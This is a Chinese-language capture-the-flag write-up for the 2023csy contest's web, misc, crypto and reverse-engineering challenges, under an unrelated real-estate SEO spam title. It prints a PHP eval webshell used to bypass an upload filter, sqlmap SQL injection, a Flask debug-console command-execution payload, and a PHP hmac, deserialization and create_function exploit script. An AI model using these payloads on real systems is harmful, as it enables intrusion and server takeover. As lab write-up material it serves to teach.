南京房地產(chǎn)網(wǎng)站建設(shè)成都關(guān)鍵詞優(yōu)化平臺
文章目錄
- 一、2023csy-web1
- 二、2023csy-web2
- 三、2023csy-web3
- 四、2023csy-web4
- 五、2023csy-misc1
- 六、2023csy-misc2
- 七、2023csy-crypto1
- 八、2023csy-re1
一、2023csy-web1
該題提供一個web靶場,《偉大的挑戰(zhàn)者》,分值:5分
web頁面一直在播放cavas 動畫,顯示字體內(nèi)容為:TEXTArray = [“你”, “永遠(yuǎn)”, “也”, “看不見”, “我”, “站在”, “窗邊”, “最難過”, “的樣子”, “因?yàn)椤? “你”, “知道的”, “在”, “所有”, “看不見”, “你的”, “時(shí)候”, “才是”, “最”, “難”, “過”, “的”, “我”, “愛”, “你”]; F12 查看源代碼,全局搜索未發(fā)現(xiàn)與flag相關(guān)的邏輯代碼:
使用 dirsearch 進(jìn)行目錄掃描發(fā)現(xiàn)存在 git 泄露
使用 git_extract.py 工具獲取git倉庫內(nèi)容,發(fā)現(xiàn) importtant.txt 存在flag:
二、2023csy-web2
題目提供了一下小蔡博客網(wǎng)站,分值: 8分
發(fā)現(xiàn)網(wǎng)站的注冊用戶名存在xss漏洞,搞個接碼平臺看是否能獲得管理員的cookie, 可能flag在管理員用戶界面里,但是半天解碼平臺平臺沒反應(yīng),此路不通。使用 dirsearch 進(jìn)行目錄掃描發(fā)現(xiàn) admin/login 以及 src/search.php 路徑,發(fā)現(xiàn)搜索界面存在sql注入,使用sqlmap進(jìn)行利用,獲得用戶名賬號和密碼:
登錄管理員端,存在 /admin/edit.php 路徑,可進(jìn)行文件上傳,直接上傳一句話木馬php會被攔截,如下繞過:
<script language="pHp">@eval($_POST['x'])</script>
使用螞劍進(jìn)行連接,發(fā)現(xiàn)flag:
三、2023csy-web3
題目給出 /source 存在一段 python flask 代碼
查看源代碼,我們可以看到web服務(wù)多個路徑。還有一個/get_file路徑:
@app.route('/get_file/<path:name>')
def get_file(name):return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)
因此,如果我們分析代碼,我們會發(fā)現(xiàn)兩件事,第一件事是應(yīng)用程序日志被寫入/tmp/app中的文件,這也是
**/get_file端點(diǎn)中使用的同一目錄。
app.config['FILES_FOLDER'] = '/tmp/app'
logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')
這樣我們就能夠獲取應(yīng)用程序日志,但是我們能用它做什么呢?這就是第二個配置錯誤出現(xiàn)的地方,調(diào)試模式已
打開:
if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=True)
說明該網(wǎng)站Flask開啟debug模式,相當(dāng)于給hacker留了后門。但我們需要 PIN 碼才能訪問它,該 PIN 碼會在應(yīng)用程序啟動時(shí)寫入日志。因此,我們需要獲取app.log文件并獲取將寫入其中的控制臺 PIN。
要獲取日志文件,我們可以使用/get_file路徑 http://**/get_file/app.log。在那里我們可以找到控制臺的 PIN 碼。進(jìn)入控制臺后,我們只需要找到該標(biāo)志并讀取其內(nèi)容即可。
然后進(jìn)入后臺 http://**/console, 輸入:
__import__('os').popen('cat /flag').read()
四、2023csy-web4
題目提供如下PHP源代碼,分值:10分
審計(jì)以上代碼可以得出兩個知識點(diǎn):hash_hmac繞過 + 反序列化 + 匿名函數(shù)爆破。先看 hash_hmac 繞過,代碼可以分離成如下:
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if ($_GET['mac'] === $hmac) {show_source("/flag");}
當(dāng)我們給 hash_hmac 第二個參數(shù)傳遞的值為數(shù)組的時(shí)候,會返回 false。這時(shí) secret 的值我們就可以控制為 false。
故 payload 為:salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
。
再看反序列化,代碼可以分離成如下:
class Bird {public $funcs;public $salt;public $flag;function say_flag() {echo "輸出flag";}function __destruct() {$self_func = $this->funcs;$self_func();}
}
unserialize($_GET['d']);
代碼段中存在魔法函數(shù) __destruct,在對象的所有引用都被刪除時(shí)或者對象被顯式銷毀時(shí)調(diào)用,當(dāng)對象被銷毀時(shí)自動調(diào)用。要想執(zhí)行 say_flag() 函數(shù),那就要 __destruct() 函數(shù)中的 funcs 下手,序列化代碼如下:
<?php
class Bird{public $funcs=['Bird','say_flag'];public $salt;public $flag;function say_flag(){echo "輸出flag";}function __destruct(){$self_func=$this->funcs;$self_func();}
}
$s = new Bird();
echo serialize($d);
在 PHP 中,類名可以作為字符串被調(diào)用,如果類名是當(dāng)前命名空間的一部分,也可以省略命名空間。這意味著 $this->funcs 中的字符串 ‘Bird’ 在這個上下文中等同于 Bird::。因此,‘Bird’, ‘say_flag’ 實(shí)際上等同于 Bird::say_flag()。
故payload為:d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}
。再看匿名函數(shù),代碼可以分離成如下:
if (isset($_GET['p'])) {$funcs = create_function("", "unserialize(\$_GET['d']);");$_GET['p']();
} else {show_source(__FILE__);
}
其實(shí)我們只要執(zhí)行$funcs就可以了,但是我們不知道這個函數(shù)的名稱,是一個匿名函數(shù)。
create_function() 匿名函數(shù)爆破漏洞,它c(diǎn)reate之后會自動生成一個函數(shù)名為 %00lambda_%d。%d這個值是一直遞增的,這里的%d會一直遞增到最大長度直到結(jié)束,這里可以通過大量的請求來迫使Pre-fork模式啟動的Apache啟動新的線程,這樣這里的%d會刷新為1。
把上述payload組合到一起,編寫 exp 如下:
import requestsurl='http://localhost/zxb-csy-web4.php?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_1'while True:r = requests.get(url).textif 'Call to undefined function' not in r:print(r)break
最終解得flag如下:
五、2023csy-misc1
hacker盜取了敏感信息,分析hacker流量,找到敏感信息。提供 data.pcapng 流量包。分值:5分
查看流量包主要有 TCP、UDP、HTTP 協(xié)議,hacker盜取敏感信息大概率是 HTTP 或者 TCP。UDP 幾乎沒見過,先排除。優(yōu)先分析 HTTP 流量,如下查看 HTTP 請求序列:
看到可疑請求路徑 /hack.php, 輸入過濾命令:http contains "hack.php"
http流跟蹤發(fā)現(xiàn) f14444444g.php :
篩選含有 f14444444g.php 的流量包, http contains "f14444444g.php"
依次查看發(fā)現(xiàn)可疑字符串,Base64 解碼得到flag:
六、2023csy-misc2
提供一個流量包 pack.pcapng,找出 flag, 題目未提供提示。分值:8分
wireshark 打開發(fā)現(xiàn)很多 dns 協(xié)議數(shù)據(jù)包,而且存在 Base 字眼:
直接使用kali 里面 tshark 命令篩選分離:
tshark -r pack.pcapng -Y "dns" -T fields -e dns.qry.name | grep base > dns.txt
拿去 vscode 快速去重處理得:
base64 解密得flag:
七、2023csy-crypto1
根據(jù)題目得知為移位的異或, 編寫python腳本:
enc = open('flag.enc', 'rb').read()
enc = list(enc)
print(enc)key = 'zxb'
flag = [0] * len(enc)
print(len(flag))
flag[-1] = ord('}')
for i in range(len(flag)-2, -1, -1):flag[i] = flag[i+1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))
八、2023csy-re1
提供一個 fake.exe 文件,逆向分析獲得flag。分值:8分
先查看 PE:
64位程序,使用 ida64 打開,f5 查看偽代碼:
這段代碼是一個簡單的文件讀取和處理程序,它從文件 “flag.txt” 讀取 0x13(19)字節(jié)的數(shù)據(jù),然后進(jìn)行異或操作,并檢查結(jié)果是否與某個預(yù)定義的字符串 Str2
相匹配。要反推出 “flag.txt” 的內(nèi)容,在這里,*(&Str1 + i) = i ^ *((_BYTE *)Buffer + i);
表示將文件中每個字節(jié)與索引進(jìn)行異或運(yùn)算,并將結(jié)果存儲在 Str1
中。要得到 flag.txt 的內(nèi)容,您可以創(chuàng)建一個相反的異或操作,將 Str1
中的每個字節(jié)與相應(yīng)的索引再次進(jìn)行異或。在 ida 里面找到 str2 為:S[]1475XRQUHY]QIQZW
編寫腳本:
# 已知的str2值
str2 = "S[]1475XRQUHY]QIQZW"# 解碼函數(shù),根據(jù)異或的性質(zhì):如果 a ^ b = c 那么 a ^ c = b 以及 b ^ c = a
def decode(encoded_str):# 將str2轉(zhuǎn)化為byte array方便進(jìn)行異或操作encoded_bytes = bytearray(encoded_str, 'utf-8')# 初始化str1str1 = bytearray(len(encoded_bytes))# 按照C程序中的流程反向執(zhí)行異或操作for i in range(len(encoded_bytes)):# 因?yàn)橹笆莍和字符異或,所以逆運(yùn)算也是i和字符異或str1[i] = i ^ encoded_bytes[i]# 轉(zhuǎn)換回字符串形式return str1.decode('utf-8')# 使用定義好的decode函數(shù)解碼str2
decoded_str1 = decode(str2)
print(f"Decoded str1: {decoded_str1}")
得到 flag 為:
但是提交發(fā)現(xiàn)一直錯誤,難道這是陷阱? 查看函數(shù)列表發(fā)現(xiàn) TLS 回調(diào)函數(shù)
代碼逆向分析領(lǐng)域中,TLS(Thread Local Storage,線程局部存儲)回調(diào)函數(shù)(Callback Function)常用反調(diào)試。TLS回調(diào)函數(shù)的調(diào)用運(yùn)行要先于EP代碼的執(zhí)行,該特征使它可以作為一種反調(diào)試技術(shù)的使用。
查看 TlsCallback_0 函數(shù):
從代碼能看出一直在跟 loc_140003000 函數(shù)做處理,懷疑是 SMC 自解密技術(shù)。
1、SMC,即Self Modifying Code,動態(tài)代碼加密技術(shù),指通過修改代碼或數(shù)據(jù),阻止別人直接靜態(tài)分析,然后在動態(tài)運(yùn)行程序時(shí)對代碼進(jìn)行解密,達(dá)到程序正常運(yùn)行的效果。
2、SMC的實(shí)現(xiàn)方式有很多種,可以通過修改PE文件的Section Header、使用API Hook實(shí)現(xiàn)代碼加密和解密、使用VMProtect等第三方加密工具等。
3、SMC一般有倆種破解方法,第一種是找到對代碼或數(shù)據(jù)加密的函數(shù)后通過idapython寫解密腳本。第二種是動態(tài)調(diào)試到SMC解密結(jié)束的地方dump出來。
在 return result 打斷點(diǎn),進(jìn)行動態(tài)調(diào)試:
卡在 52行,smc 自解密已經(jīng)完成,直接進(jìn)入 loc_140003000 函數(shù),U、C、P, F5 一把梭查看到真實(shí)代碼:
編寫 python 腳本如下:
def reverse_function(a1, a2):return ~a2 & ~a1v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
arr = [0] * 19for i in range(19):for j in range(200):v16 = reverse_function(j, i)v17 = reverse_function(i, i)v1 = jv18 = v1v2 = reverse_function(v1, v1)v3 = reverse_function(v2, v17)v19 = reverse_function(v3, v16) - 1v20 = reverse_function(j, i)v21 = reverse_function(i, i)v4 = jv22 = v4v5 = reverse_function(v4, v4)v6 = reverse_function(v5, v21)v7 = reverse_function(v6, v20)v12[i] = reverse_function((v7 - 1), v19)if v12[i] == v25[i]:arr[i] = j# Convert arr to string and print
result_str = ''.join(chr(x) for x in arr)
print(result_str)
最終flag{SZ_2023_ZX_CUP_WIN!} 為正確答案。